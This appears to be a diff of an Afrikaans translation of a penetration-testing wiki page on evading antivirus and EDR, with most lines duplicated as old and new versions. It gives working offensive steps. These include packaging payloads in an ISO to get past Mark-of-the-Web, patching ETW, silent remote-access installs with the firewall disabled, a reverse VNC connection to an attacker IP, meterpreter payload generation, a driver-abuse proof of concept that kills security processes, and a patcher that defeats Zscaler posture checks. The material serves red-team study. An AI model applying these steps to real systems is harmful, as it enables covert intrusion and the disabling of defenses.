Jy het dalk hierdie skerm gesien wanneer jy uitvoerbare lêers vanaf die internet aflaai en dit uitvoer.
Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications.
Microsoft Defender SmartScreen is 'n sekuriteitsmeganisme wat bedoel is om die eindgebruiker te beskerm teen die uitvoering van moontlik kwaadwillige toepassings.
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway).
SmartScreen werk hoofsaaklik deur 'n reputasie-gebaseerde benadering, wat beteken dat seldsaam afgelaaide toepassings SmartScreen sal aktiveer, wat die eindgebruiker waarsku en verhinder om die lêer uit te voer (alhoewel die lêer steeds uitgevoer kan word deur op More Info -> Run anyway te klik).
**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.
**MoTW** (Mark of The Web) is 'n [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) met die naam Zone.Identifier wat outomaties geskep word wanneer lêers vanaf die internet afgelaai word, tesame met die URL waarvandaan dit afgelaai is.
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Kontroleer die Zone.Identifier ADS vir 'n lêer wat van die internet afgelaai is.</p></figcaption></figure>
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Nagaan van die Zone.Identifier ADS vir 'n lêer wat vanaf die internet afgelaai is.</p></figcaption></figure>
> [!TIP]
> Dit is belangrik om op te let dat uitvoerbare lêers wat met 'n **vertroude** ondertekeningssertifikaat geteken is, **nie SmartScreen sal aktiveer nie**.
> Dit is belangrik om te let dat uitvoerbare lêers wat geteken is met 'n vertroude handtekeningssertifikaat nie SmartScreen sal aktiveer nie.
A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes.
'n Baie effektiewe manier om te verhoed dat jou payloads die Mark of The Web kry, is om dit in 'n soort houer soos 'n ISO te verpak. Dit gebeur omdat Mark-of-the-Web (MOTW) nie op non NTFS volumes toegepas kan word nie.
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is 'n hulpmiddel wat payloads in uitsethouers verpak om Mark-of-the-Web te ontduik.
Voorbeeldgebruik:
```bash
@ -383,57 +418,57 @@ Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
```
Hier is 'n demo om SmartScreen te omseil deur payloads binne ISO-lêers te verpak met [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
Hier is 'n demo vir die omseiling van SmartScreen deur payloads binne ISO-lêers te verpak met [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## ETW
Event Tracing for Windows (ETW) is 'n kragtige logmeganisme in Windows wat toepassings en stelselkomponente toelaat om **events te log**. Dit kan egter ook deur sekuriteitsprodukte gebruik word om kwaadaardige aktiwiteite te monitor en te bespeur.
Event Tracing for Windows (ETW) is 'n kragtige logmeganisme in Windows wat toepassings en stelselkomponente toelaat om **gebeurtenisse te registreer**. Dit kan egter ook deur sekuriteitsprodukte gebruik word om kwaadwillige aktiwiteite te monitor en te ontdek.
Soos met hoe AMSI gedeaktiveer (omseil) kan word, is dit ook moontlik om die **`EtwEventWrite`** funksie van 'n user space proses onmiddellik te laat terugkeer sonder om enige events te log. Dit word bereik deur die funksie in geheue te patch sodat dit onmiddellik terugkeer, en effektief ETW-logging vir daardie proses uit te skakel.
Soos hoe AMSI gedeaktiveer (omseil) word, is dit ook moontlik om die **`EtwEventWrite`** funksie van die user space-proses onmiddellik terug te laat keer sonder om enige gebeurtenisse te registreer. Dit word gedoen deur die funksie in geheue te patch sodat dit onmiddellik terugkeer, wat ETW-logging vir daardie proses effektief deaktiveer.
Jy kan meer inligting vind by **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
Meer inligting vind jy by **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
## C# Assembly Reflection
Loading C# binaries in memory is al vir 'n geruime tyd bekend en dit is steeds 'n uitstekende manier om jou post-exploitation tools te laat loop sonder om deur AV uitgehaal te word.
Om C# binaries in geheue te laai is al 'n geruime tyd bekend en dit is steeds 'n uitstekende manier om jou post-exploitation gereedskap te laat loop sonder om deur AV gevang te word.
Aangesien die payload direk in geheue gelaai sal word sonder om die skyf te raak, hoef ons net bekommerd te wees oor die patching van AMSI vir die hele proses.
Aangesien die payload direk in geheue gelaai sal word sonder om disk te raak, hoef ons slegs bekommerd te wees oor die patching van AMSI vir die hele proses.
Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) bied reeds die vermoë om C# assemblies direk in geheue uit te voer, maar daar is verskillende maniere om dit te doen:
Die meeste C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) bied reeds die vermoë om C# assemblies direk in geheue uit te voer, maar daar is verskillende maniere om dit te doen:
- **Fork\&Run**
Dit behels die **spawning van 'n nuwe offerproses**, inbedding van jou post-exploitation kwaadwillige kode in daardie nuwe proses, die uitvoering van jou kwaadaardige kode en, wanneer klaar, die nuwe proses te beëindig. Dit het beide voordele en nadele. Die voordeel van die fork-and-run metode is dat uitvoering buite ons Beacon implant proses plaasvind. Dit beteken dat as iets by ons post-exploitation aksie verkeerd gaan of gevang word, daar 'n **veel groter kans** is dat ons **implant oorleef.** Die nadeel is dat jy 'n **groter kans** het om deur **Behavioural Detections** gevang te word.
Dit behels die **spawn van 'n nuwe opofferingsproses**, injecteer jou post-exploitation kwaadwillige kode in daardie nuwe proses, voer jou kwaadwillige kode uit en wanneer klaar, beëindig die nuwe proses. Dit het beide voordele en nadele. Die voordeel van die fork-and-run metode is dat uitvoering **buite** ons Beacon-implantaatproses plaasvind. Dit beteken dat as iets in ons post-exploitation aksie verkeerd loop of gevang word, daar 'n **baie groter kans** is dat ons **implantaat oorleef.** Die nadeel is dat jy 'n **groter kans** het om deur **Behavioural Detections** gevang te word.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
Dit gaan oor die inbedding van die post-exploitation kwaadwillige kode **in sy eie proses**. Op hierdie manier kan jy vermy om 'n nuwe proses te skep wat deur AV geskan word, maar die nadeel is dat as iets verkeerd gaan met die uitvoering van jou payload, daar 'n **groter kans** is om jou **beacon te verloor** aangesien dit kan crash.
Dit gaan oor die injectering van die post-exploitation kwaadwillige kode **in sy eie proses**. Op hierdie manier kan jy vermy om 'n nuwe proses te skep en dit deur AV te laat scan, maar die nadeel is dat as iets verkeerd gaan met die uitvoering van jou payload, daar 'n **baie groter kans** is om jou **beacon te verloor** aangesien dit kan crash.
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> As jy meer wil lees oor C# Assembly loading, kyk gerus na hierdie artikel [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) en hul InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
> As jy meer wil lees oor C# Assembly loading, sien hierdie artikel [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) en hul InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
Jy kan ook C# Assemblies **from PowerShell** laai; kyk na [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) en [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
Jy kan ook C# Assemblies **van PowerShell** laai, kyk na [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) en S3cur3th1sSh1t se video (https://www.youtube.com/watch?v=oe11Q-3Akuk).
## Using Other Programming Languages
Soos voorgestel in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), is dit moontlik om kwaadwillige kode in ander tale uit te voer deur die gekompromitteerde masjien toegang te gee tot die interpreter-omgewing wat op die Attacker Controlled SMB share geïnstalleer is.
Soos voorgestel in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), is dit moontlik om kwaadwillige kode uit te voer deur ander tale te gebruik deur die gekompromitteerde masjien toegang te gee tot die interpreter-omgewing wat op die Attacker Controlled SMB share geïnstalleer is.
Deur toegang tot die Interpreter Binaries en die omgewing op die SMB share toe te laat, kan jy **arbitrêre kode in hierdie tale binne die geheue** van die gekompromitteerde masjien uitvoer.
Deur toegang tot die Interpreter Binaries en die omgewing op die SMB share toe te laat, kan jy **arbitrêre kode in hierdie tale in die geheue** van die gekompromitteerde masjien uitvoer.
Die repo dui aan: Defender scan steeds die skripte, maar deur Go, Java, PHP ens. te gebruik het ons **meer buigbaarheid om statiese signatures te omseil**. Toetse met ewekansige on-geobfuskate reverse shell skripte in hierdie tale het sukses getoon.
Die repo dui aan: Defender scan steeds die scripts, maar deur Go, Java, PHP ens. te gebruik het ons **meer fleksibiliteit om statiese handtekeninge te omseil**. Toetsing met ewekansige nie-verwikkelde reverse shell scripts in hierdie tale het sukses bewys.
## TokenStomping
Token stomping is 'n tegniek wat 'n aanvaller toelaat om die toegangstoken of 'n sekuriteitsproduk soos 'n EDR of AV te **manipuleer**, sodat hulle die privilegies kan verminder; die proses sal nie sterf nie, maar sal nie die permisies hê om na kwaadwillige aktiwiteite te kyk nie.
Token stomping is 'n tegniek wat 'n aanvaller toelaat om die toegangstoken of 'n sekuriteitsproduk soos 'n EDR of AV te **manipuleer**, sodat hulle sy bevoegdhede kan verminder sodat die proses nie sterf nie, maar nie toestemming het om na kwaadwillige aktiwiteite te kyk nie.
Om dit te voorkom, kan Windows **verhoed dat eksterne prosesse** handvatsels oor die tokens van sekuriteitsprosesse kry.
Om dit te voorkom, kan Windows **voorkom dat eksterne prosesse** handvatsels oor die tokens van sekuriteitsprosesse kry.
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
@ -443,26 +478,26 @@ Om dit te voorkom, kan Windows **verhoed dat eksterne prosesse** handvatsels oor
### Chrome Remote Desktop
Soos beskryf in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), is dit maklik om net Chrome Remote Desktop op 'n slagoffer se rekenaar te ontplooi en dit te gebruik om dit oor te neem en persistensie te behou:
1. Download vanaf https://remotedesktop.google.com/, klik op "Set up via SSH", en klik dan op die MSI-lêer vir Windows om die MSI-lêer af te laai.
2. Run die installer stil in die slagoffer (admin required): `msiexec /i chromeremotedesktophost.msi /qn`
3. Gaan terug na die Chrome Remote Desktop bladsy en klik next. Die wizard sal jou dan vra om te authorize; klik die Authorize knoppie om voort te gaan.
4. Execute die gegewe parameter met 'n paar aanpassings: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Let op die pin parameter wat toelaat om die pin te stel sonder om die GUI te gebruik).
Soos beskryf in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), is dit maklik om bloot Chrome Remote Desktop op 'n slagoffer se PC te installeer en dit dan te gebruik om dit oor te neem en volhoubaarheid te handhaaf:
1. Laai af vanaf https://remotedesktop.google.com/, klik op "Set up via SSH", en klik dan op die MSI-lêer vir Windows om die MSI-lêer af te laai.
2. Voer die installer stil uit op die slagoffer (admin benodig): `msiexec /i chromeremotedesktophost.msi /qn`
3. Gaan terug na die Chrome Remote Desktop-bladsy en klik next. Die wizard sal jou dan vra om te autoriseer; klik die Authorize-knoppie om voort te gaan.
4. Voer die gegewe parameter met 'n paar aanpassings uit: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Let op die pin-parameter wat toelaat om die pin te stel sonder om die GUI te gebruik).
## Advanced Evasion
Evasion is 'n baie ingewikkelde onderwerp; soms moet jy baie verskillende bronne van telemetrie in een stelsel in ag neem, so dit is praktisch onmoontlik om volkome onopgemerk te bly in volwasse omgewings.
Evasion is 'n baie ingewikkelde onderwerp; soms moet jy baie verskillende bronne van telemetrie in net een stelsel in ag neem, so dit is byna onmoontlik om heeltemal onopgemerk te bly in volwasse omgewings.
Elke omgewing wat jy teëkom sal sy eie sterktes en swakhede hê.
Elke omgewing wat jy teëkom sal sy eie sterk- en swakpunte hê.
Ek moedig jou sterk aan om hierdie talk van [@ATTL4S](https://twitter.com/DaniLJ94) te kyk, om 'n voete in meer Advanced Evasion tegnieke te kry.
Ek beveel sterk aan dat jy hierdie praatjie van [@ATTL4S](https://twitter.com/DaniLJ94) kyk om 'n voet in die deur te kry tot meer Advanced Evasion tegnieke.
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
Hier is ook nog 'n baie goeie talk van [@mariuszbit](https://twitter.com/mariuszbit) oor Evasion in Depth.
This is ook 'n ander goeie praatjie van [@mariuszbit](/https://twitter.com/mariuszbit) oor Evasion in Depth.
{{#ref}}
@ -473,49 +508,49 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
### **Check which parts Defender finds as malicious**
Jy kan [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) gebruik wat dele van die binary **verwyder** totdat dit **uitvind watter deel Defender** as kwaadwillig beskou en dit aan jou uiteensit.\
Nog 'n hulpmiddel wat dieselfde doen is [**avred**](https://github.com/dobin/avred) met 'n oop webdiens by [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
Jy kan [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) gebruik wat **dele van die binary sal verwyder** totdat dit **uitvind watter deel Defender** as kwaadwillig beskou en dit aan jou uiteensit.\
'n Ander instrument wat dieselfde doen is [**avred**](https://github.com/dobin/avred) met 'n oop webdiens wat die diens aanbied by [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnet Server**
Tot en met Windows10 het alle Windows weergawes 'n **Telnet server** meegebring wat jy as administrateur kon installeer deur:
Tot Windows10 het alle Windows met 'n **Telnet server** gekom wat jy as administrateur kon installeer deur:
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
Laat dit **begin** wanneer die stelsel begin en **voer** dit nou uit:
Laat dit **begin** wanneer die stelsel opstart en **voer** dit nou uit:
```bash
sc config TlntSVR start= auto obj= localsystem
```
**Verander telnet port** (stealth) en skakel firewall af:
**Verander telnet-poort** (stealth) en skakel firewall af:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
### UltraVNC
Laai dit af vanaf: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (jy wil die bin downloads hê, nie die setup nie)
Laai dit af van: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (jy wil die bin downloads hê, nie die setup nie)
**ON THE HOST**: Execute _**winvnc.exe**_ en konfigureer die server:
**OP DIE GASHEER**: Voer _**winvnc.exe**_ uit en stel die bediener op:
- Skakel die opsie _Disable TrayIcon_ in
- Stel 'n wagwoord in by _VNC Password_
- Stel 'n wagwoord in by _View-Only Password_
Skuif dan die binêre _**winvnc.exe**_ en die **nuut geskepte** lêer _**UltraVNC.ini**_ na die **victim**
Skuif dan die binêre _**winvnc.exe**_ en die **nuut** geskepte lêer _**UltraVNC.ini**_ na die **slagoffer**
#### **Reverse connection**
#### **Omgekeerde verbinding**
Die **attacker** moet op sy **host** die binêre `vncviewer.exe -listen 5900` uitvoer, sodat dit gereed is om 'n omgekeerde **VNC connection** op te vang. Dan, op die **victim**: Begin die winvnc-demon `winvnc.exe -run` en voer `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` uit
Die **aanvaller** moet op sy **gasheer** die binêre `vncviewer.exe -listen 5900` uitvoer sodat dit gereed sal wees om 'n omgekeerde **VNC connection** te vang. Dan, binne die **slagoffer**: Begin die winvnc daemon `winvnc.exe -run` en voer `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` uit
**WAARSKUWING:** Om stealth te behou, moet jy nie die volgende doen nie
**WAARSKUWING:** Om onopgemerk te bly, moet jy 'n paar dinge nie doen nie
- Moet nie `winvnc` begin as dit reeds loop nie of jy sal 'n [popup](https://i.imgur.com/1SROTTl.png) aktiveer. Kontroleer of dit loop met `tasklist | findstr winvnc`
- Moet nie `winvnc` sonder `UltraVNC.ini` in dieselfde gids begin nie, anders sal dit [die config window](https://i.imgur.com/rfMQWcf.png) oopmaak
- Moet nie `winvnc` begin as dit reeds loop nie, anders sal jy 'n [popup](https://i.imgur.com/1SROTTl.png) veroorsaak. Kontroleer of dit loop met `tasklist | findstr winvnc`
- Moet nie `winvnc` begin sonder dat `UltraVNC.ini` in dieselfde gids is nie, anders sal dit [die konfigurasie-venster](https://i.imgur.com/rfMQWcf.png) oopmaak
- Moet nie `winvnc -h` vir hulp uitvoer nie, anders sal jy 'n [popup](https://i.imgur.com/oc18wcu.png) veroorsaak
### GreatSCT
Laai dit af vanaf: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
Laai dit af van: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
```
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
@ -533,11 +568,11 @@ sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
Nou **begin die lister** met `msfconsole -r file.rc` en **voer** die **xml payload** uit met:
Nou **begin die lister** met `msfconsole -r file.rc` en **voer die xml payload uit** met:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**Huidige Defender sal die proses baie vinnig beëindig.**
**Huidige defender sal die proses baie vinnig beëindig.**
### Kompileer ons eie reverse shell
@ -626,7 +661,7 @@ catch (Exception err) { }
}
}
```
### C# wat die compiler gebruik
### C# gebruik kompiler
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
@ -646,7 +681,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
{{#endref}}
Lys van C# obfuscators: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
Lys van C# obfuskeerders: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
### C++
```
@ -661,7 +696,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
### Gebruik python vir 'n voorbeeld om injectors te bou:
### Gebruik van python vir 'n voorbeeld om injectors te bou:
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
@ -690,28 +725,28 @@ https://github.com/TheWover/donut
# Vulcan
https://github.com/praetorian-code/vulcan
```
### Meer
### More
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
## Bring Your Own Vulnerable Driver (BYOVD) – AV/EDR vanaf kernruimte uitskakel
## Bring Your Own Vulnerable Driver (BYOVD) – AV/EDR vanaf die kernel-ruimte uitskakel
Storm-2603 het 'n klein konsole-hulpmiddel genaamd **Antivirus Terminator** benut om endpoint-beskerming uit te skakel voordat ransomware neergelaai is. Die instrument bring sy **eie kwesbare maar *ondertekende* driver** en misbruik dit om bevoorregte kernel-bewerkings uit te voer wat selfs Protected-Process-Light (PPL) AV-dienste nie kan blokkeer nie.
Storm-2603 het 'n klein konsole-hulpmiddel genaamd **Antivirus Terminator** gebruik om endpoint-beskerming uit te skakel voordat ransomware gedruppel is. Die instrument bring sy **eie kwesbare maar *gesigneerde* driver** en misbruik dit om geprivilegieerde kernel-operasies uit te voer wat selfs Protected-Process-Light (PPL) AV-dienste nie kan blokkeer nie.
Key take-aways
1. **Signed driver**: Die lêer wat na skyf afgelewer is, is `ServiceMouse.sys`, maar die binêr is die wettig ondertekende driver `AToolsKrnl64.sys` van Antiy Labs’ “System In-Depth Analysis Toolkit”. Omdat die driver 'n geldige Microsoft-handtekening dra, laai dit selfs wanneer Driver-Signature-Enforcement (DSE) geaktiveer is.
Belangrike punte
1. **Signed driver**: Die lêer wat na skyf geskryf is, is `ServiceMouse.sys`, maar die binêr is die regmatig gesigneerde driver `AToolsKrnl64.sys` van Antiy Labs se “System In-Depth Analysis Toolkit”. Omdat die driver 'n geldige Microsoft-handtekening dra, laai dit selfs wanneer Driver-Signature-Enforcement (DSE) aangeskakel is.
2. **Service installation**:
```powershell
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
sc start ServiceMouse
```
Die eerste lyn registreer die driver as 'n **kernel service** en die tweede begin dit sodat `\\.\ServiceMouse` vanaf user land toeganklik word.
3. IOCTLs blootgestel deur die driver
| IOCTL code | Bekwaamheid |
Die eerste reël registreer die driver as 'n **kernel service** en die tweede begin dit sodat `\\.\ServiceMouse` van die gebruikersruimte af toeganklik word.
3. **IOCTLs exposed by the driver**
| IOCTL code | Capability |
|-----------:|-----------------------------------------|
| `0x99000050` | Beeïndig 'n ewekansige proses per PID (gebruik om Defender/EDR-dienste te beëindig) |
| `0x99000050` | Beëindig 'n ewekansige proses per PID (gebruik om Defender/EDR-dienste te beëindig) |
| `0x990000D0` | Verwyder 'n ewekansige lêer op skyf |
| `0x990001D0` | Ontlaai die driver en verwyder die diens |
| `0x990001D0` | Laai die driver uit en verwyder die diens |
Minimal C proof-of-concept:
```c
@ -725,28 +760,28 @@ CloseHandle(hDrv);
return 0;
}
```
4. **Why it works**: BYOVD slaan gebruikersmodus-beskerming heeltemal oor; kode wat in die kernel uitgevoer word, kan *protected* prosesse oopmaak, hulle beëindig, of met kernel-objekte knoei ongeag PPL/PP, ELAM of ander verhardingsfunksies.
4. **Why it works**: BYOVD slaan user-mode beskerming heeltemal oor; kode wat in die kernel uitgevoer word kan *protected* prosesse oopmaak, hulle beëindig, of met kernel-objekte tamper maak ongeag PPL/PP, ELAM of ander hardening-funksies.
Detection / Mitigation
• Aktiveer Microsoft se bloklys vir kwesbare drivers (`HVCI`, `Smart App Control`) sodat Windows weier om `AToolsKrnl64.sys` te laai.
• Moniteer die skep van nuwe *kernel* dienste en waarsku wanneer 'n driver vanaf 'n gids wat vir alle gebruikers skryfbaar is gelaai word of nie op die allow-list voorkom nie.
• Let op gebruikersmodus-handvatsels na pasgemaakte toestelobjekte wat gevolg word deur verdagte `DeviceIoControl`-oproepe.
• Aktiveer Microsoft se vulnerable-driver block list (`HVCI`, `Smart App Control`) sodat Windows weier om `AToolsKrnl64.sys` te laai.
• Monitor skeppings van nuwe *kernel* services en waarsku wanneer 'n driver gelaai word vanaf 'n gids wat deur almal geskryf kan word of nie op die allow-list voorkom nie.
• Kyk uit vir user-mode handles na custom device objects gevolg deur verdagte `DeviceIoControl`-oproepe.
### Omseiling van Zscaler Client Connector se Posture Checks deur On-Disk Binary Patching
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
Zscaler se **Client Connector** pas toestel-houdingsreëls plaaslik toe en vertrou op Windows RPC om die resultate aan ander komponente te kommunikeer. Twee swak ontwerpkeuses maak 'n volledige omseiling moontlik:
Zscaler’s **Client Connector** pas device-posture reëls lokaal toe en vertrou op Windows RPC om die resultate aan ander komponente te kommunikeer. Twee swak ontwerpkeuses maak 'n volledige omseiling moontlik:
1. Posture-evaluasie gebeur **heeltemal kliëntkantig** (n boolean word na die bediener gestuur).
2. Interne RPC-endpunte valideer slegs dat die verbindende uitvoerbare lêer **signed by Zscaler** is (via `WinVerifyTrust`).
1. Posture evaluation gebeur **heeltemal client-side** (n boolean word na die bediener gestuur).
2. Internal RPC endpoints valideer slegs dat die verbindende uitvoerbare lêer **gesigneer is deur Zscaler** (via `WinVerifyTrust`).
Deur vier ondertekende binêre lêers op skyf te patch, kan beide meganismes geneutraliseer word:
Deur **vier gesigneerde binaries op die skyf te patch** kan albei meganismes geneutraliseer word:
| Binary | Original logic patched | Result |
|--------|------------------------|---------|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Gee altyd `1` terug sodat elke kontrole as voldoenend beskou word |
| `ZSAService.exe` | Indirekte oproep na `WinVerifyTrust` | NOP-ed ⇒ enige (selfs ongehandtekende) proses kan aan die RPC-pype bind |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Vervang deur `mov eax,1 ; ret` |
| `ZSATunnel.exe` | Integriteitskontroles op die tunnel | Kortgesluit |
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Return altyd `1` sodat elke kontrole as compliant beskou word |
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ enige (selfs unsigned) proses kan aan die RPC-pipes bind |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Vervang met `mov eax,1 ; ret` |
| `ZSATunnel.exe` | Integrity checks on the tunnel | Kortgesluit |
Minimal patcher excerpt:
```python
@ -762,22 +797,22 @@ else:
f.seek(off)
f.write(replacement)
```
Nadat die oorspronklike lêers vervang is en die diensstapel herbegin is:
After replacing the original files and restarting the service stack:
* **Alle** postuurkontroles wys **groen/kompatibel**.
* Ongetekende of gemodifiseerde binaries kan die named-pipe RPC-eindpunte oopmaak (bv. `\\RPC Control\\ZSATrayManager_talk_to_me`).
* Die gekompromitteerde gasheer kry onbeperkte toegang tot die interne netwerk soos gedefinieer deur die Zscaler-beleid.
* **Al** posture checks gee **groen/kompliant**.
* Unsigned of gemodifiseerde binaries kan die named-pipe RPC endpoints oopmaak (bv. `\\RPC Control\\ZSATrayManager_talk_to_me`).
* Die gekompromitteerde gasheer kry onbeperkte toegang tot die interne netwerk soos gedefinieer deur die Zscaler policies.
Hierdie gevallestudie demonstreer hoe suiwer kliëntkant-vertrouensbesluite en eenvoudige handtekeningkontroles met 'n paar byte-wysigings omseil kan word.
Hierdie gevallestudie demonstreer hoe suiwer kliëntkantvertrouensbesluite en eenvoudige handtekeningkontroles met 'n paar byte-patches verslaan kan word.
## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs
Protected Process Light (PPL) handhaaf 'n ondertekenaar/vlak-hiërargie sodat slegs beskermde prosesse met gelyke of hoër vlakke mekaar kan manipuleer. Aanvallend gesproke, as jy 'n wettige PPL-geaktiveerde binary kan begin en sy argumente beheer, kan jy onskuldige funksionaliteit (bv. logging) omskep in 'n beperkte, PPL-ondersteunde skryf-primitive teenoor beskermde gidse wat deur AV/EDR gebruik word.
Protected Process Light (PPL) enforсes 'n signer/level-hiërargie sodat slegs beskermde prosesse met gelyke of hoër vlak mekaar kan manipuleer. Aanvallend gesproke, as jy wettiglik 'n PPL-enabled binary kan loods en sy argumente beheer, kan jy onskadelike funksionaliteit (bv. logging) omskep in 'n beperkte, PPL-ondersteunde write primitive teen beskermde directories wat deur AV/EDR gebruik word.
Wat veroorsaak dat 'n proses as PPL loop
- Die teiken EXE (en enige gelaaide DLLs) moet geteken wees met 'n PPL-geskikte EKU.
- Die proses moet geskep word met CreateProcess met die vlae: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
- 'n Verenigbare beskermingsvlak moet versoek word wat ooreenstem met die ondertekenaar van die binary (bv. `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` vir anti-malware-ondertekenaars, `PROTECTION_LEVEL_WINDOWS` vir Windows-ondertekenaars). Verkeerde vlakke sal by skepping misluk.
What makes a process run as PPL
- Die teiken EXE (en enige gelaaide DLLs) moet onderteken wees met 'n PPL-capable EKU.
- Die proses moet geskep word met CreateProcess en die vlagte gebruik: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
- 'n Kompatibele protection level moet versoek word wat ooreenstem met die ondertekenaar van die binary (bv. `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` vir anti-malware signers, `PROTECTION_LEVEL_WINDOWS` vir Windows signers). Verkeerde levels sal by skepping misluk.
See also a broader intro to PP/PPL and LSASS protection here:
